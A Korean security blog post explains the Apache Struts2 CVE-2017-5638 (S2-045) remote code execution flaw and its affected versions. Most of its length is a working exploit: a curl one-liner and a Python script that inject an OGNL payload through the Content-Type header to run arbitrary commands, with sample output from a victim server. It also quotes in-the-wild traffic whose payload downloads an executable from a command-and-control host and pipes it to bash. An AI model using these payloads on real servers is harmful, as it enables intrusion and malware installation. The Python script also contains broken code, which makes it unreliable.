Apache Struts2 (CVE-2017-5638) 취약점
Apache Struts 2 란?
Apache Struts 2는 Java 웹 애플리케이션을 개발하기 위한 오픈 소스 웹 애플리케이션 프레임워크입니다. 이 프레임워크는 Apache Software Foundation에서 개발 및 관리되며, 웹 애플리케이션의 구조와 흐름을 관리하고 다양한 웹 애플리케이션 구성 요소를 개발하기 위한 도구와 라이브러리를 제공합니다.
Model-View-Controller (MVC) 아키텍처를 기본으로 사용합니다.
CVE-2017-5638 취약점
Apache Struts 2 웹 애플리케이션 프레임워크에서 발견된 중요한 보안 취약점 중 하나로, 일반적으로 "Apache Struts S2-045" 또는 "Struts-Shock"로 불립니다.
이 취약점은 2017년 3월에 발견되었습니다.
취약점 특징
[원격 코드 실행 (RCE)]
이 취약점을 악용하면 공격자가 원격으로 웹 애플리케이션 서버에 악성 코드를 주입하고 실행할 수 있습니다. 이로 인해 웹 애플리케이션 서버가 위험에 노출되고 중요한 시스템 명령을 실행할 수 있습니다.
[HTTP Request 악용]
공격자는 특정 HTTP Request 를 사용하여 이 취약점을 악용할 수 있으며, 특별히 Content-Type 헤더에 임의의 OGNL(객체 그래프 표현 언어) 표현식을 포함하는 요청을 보내야 합니다.
영향받는 버전
[영향을 받는 버전]
Apache Struts 2 버전
- 2.3.5 ~ 2.3.31
- 2.5.0 ~ 2.5.10
[패치 및 업데이트]
최신 버전 업데이트 또는 취약 버전보다 상위 버전으로 업데이트
Struts2 Version 확인하기
Struts2 버전 확인은 WEB-INF/lib 안에 있는 JAR 파일의 버전을 확인하거나
jar 파일을 압축해제하여 안에 있는 META-IMF 디렉터리 안에 MANIFEST.MF 열어 확인 가능합니다.
CVE-2017-5638 PoC
기본 형태
curl -i -s -k -X $'GET' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' $'https://target'
PoC 파이썬 코드
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import urllib3
import requests
import httplib
import logging
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()
print("\nObject get.request aka Response Code")
print(requests.get(url, headers=headers,verify=False))
print("\nPAYLOAD SENT")
print(payload)
print("\nObject request.URL")
print(request.url)
print("\nObject request.headers")
print(request.headers)
print("\nObject request.request")
print(request.request)
print("\nObject headers")
print(headers)
print("\nObject request.TEXT aka This is what you are looking for...")
print(request.text)
try:
import http.client as http_client
except ImportError:
# Python 2
import httplib as http_client
http_client.HTTPConnection.debuglevel = 0
print("Check for CVE-2017-5638 by XSS.Cx\n")
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] struts.py <url> <cmd>")
else:
print('[*] Checking Site....')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
print(url, cmd)
exploit(url, cmd)
PoC 결과
struts.py 매개변수를 url = https://victime.site, cmd = dir입력받아 수행한 결과입니다.
Content-Type 로 취약점 코드를 전달하여 OS확인과 dir 명령이 수행되는 것을 확인할 수 있습니다.
결과 : (#context.setMemberAccess(#dm)))).(#cmd='dir') 의 dir명령어 수행
Check for CVE-2017-5638 by XSS.Cx
[*] Checking Site....
[*] cmd: dir
('https://victim.site', 'dir')
Object get.request aka Response Code
PAYLOAD SENT
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Object request.URL
https://victim.site
Object request.headers
{'Date': 'Fri, 10 Mar 2017 17:05:18 GMT', 'Connection': 'close', 'Content-Length': '845', 'Server': 'Microsoft-IIS/8.5'}
Object request.request
Object headers
{'Content-Type': "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}", 'User-Agent': 'Mozilla/5.0'}
Object request.TEXT aka This is what you are looking for...
Volume in drive D has no label.
Volume Serial Number is 2A7B-A245
Directory of d:\Program Files\Apache Software Foundation\Tomcat 9.0
06/07/2016 04:39 PM
실제 취약점 트래픽 예시
C&C서버에서 악성 파일을 다운로드 하는 형태로 탐지됩니다.
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="(curl -s http://xx.xxx.xx.x/x.exe || wget -q -O - http://xx.xxx.xx.x/x.exe || lwp-download http://xx.xxx.xx.x/x.exe /tmp/2.gif) | bash -sh
Ref. https://github.com/xsscx/cve-2017-5638
'IT 보안' 카테고리의 다른 글
Cold boot attack 설명 (0) | 2024.08.29 |
---|---|
악성코드 분석에 사용되는 Windows에서 사용되는 주요 함수 (0) | 2024.08.26 |
랜섬웨어 대응 가이드라인 (3) | 2024.08.26 |
OWASP 웹 애플리케이션 보안을 위한 필수 가이드 (0) | 2024.08.26 |
사이버 위협 분석가의 역할, 책임 및 필요 역량 (0) | 2024.08.26 |